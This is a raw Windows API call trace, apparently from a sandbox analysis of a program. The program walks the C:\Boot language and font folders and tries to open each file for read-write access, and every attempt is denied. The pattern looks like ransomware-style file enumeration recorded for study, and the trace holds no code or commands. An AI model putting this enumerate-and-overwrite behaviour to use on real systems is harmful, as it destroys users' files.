0x2f14ca8 [0146.664] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.665] GetProcessHeap () returned 0x2ef0000 [0146.665] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.665] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.665] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.665] GetProcessHeap () returned 0x2ef0000 [0146.665] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.665] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.665] GetLastError () returned 0x5 [0146.665] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.665] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.665] GetProcessHeap () returned 0x2ef0000 [0146.665] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.665] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0146.665] GetProcessHeap () returned 0x2ef0000 [0146.665] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.665] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.666] GetProcessHeap () returned 0x2ef0000 [0146.666] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.666] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.666] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0146.666] GetProcessHeap () returned 0x2ef0000 [0146.667] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.667] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.667] GetLastError () returned 0x5 [0146.667] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0146.667] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.668] GetLastError () returned 0x5 [0146.668] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0146.668] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.668] GetLastError () returned 0x5 [0146.668] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0146.668] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.668] GetLastError () returned 0x5 [0146.668] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0146.668] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.669] GetLastError () returned 0x5 [0146.669] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0146.669] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.669] GetProcessHeap () returned 0x2ef0000 [0146.669] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.669] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0146.669] GetProcessHeap () returned 0x2ef0000 [0146.669] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.669] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.670] GetProcessHeap () returned 0x2ef0000 [0146.670] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.670] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.670] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.670] GetProcessHeap () returned 0x2ef0000 [0146.670] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.670] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.670] GetLastError () returned 0x5 [0146.670] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.670] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.670] GetProcessHeap () returned 0x2ef0000 [0146.670] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.670] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0146.670] GetProcessHeap () returned 0x2ef0000 [0146.670] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.670] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.671] GetProcessHeap () returned 0x2ef0000 [0146.671] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.671] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.671] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.671] GetProcessHeap () returned 0x2ef0000 [0146.671] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.671] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.671] GetLastError () returned 0x5 [0146.671] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.671] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.671] GetProcessHeap () returned 0x2ef0000 [0146.671] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.671] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0146.671] GetProcessHeap () returned 0x2ef0000 [0146.671] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.671] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.672] GetProcessHeap () returned 0x2ef0000 [0146.672] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.672] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.672] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.672] GetProcessHeap () returned 0x2ef0000 [0146.672] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.672] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.672] GetLastError () returned 0x5 [0146.672] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.672] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.673] GetProcessHeap () returned 0x2ef0000 [0146.673] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.673] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0146.673] GetProcessHeap () returned 0x2ef0000 [0146.673] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.673] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.673] GetProcessHeap () returned 0x2ef0000 [0146.673] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.673] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.673] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.673] GetProcessHeap () returned 0x2ef0000 [0146.673] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.673] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.673] GetLastError () returned 0x5 [0146.673] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.673] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.673] GetProcessHeap () returned 0x2ef0000 [0146.673] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.673] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, 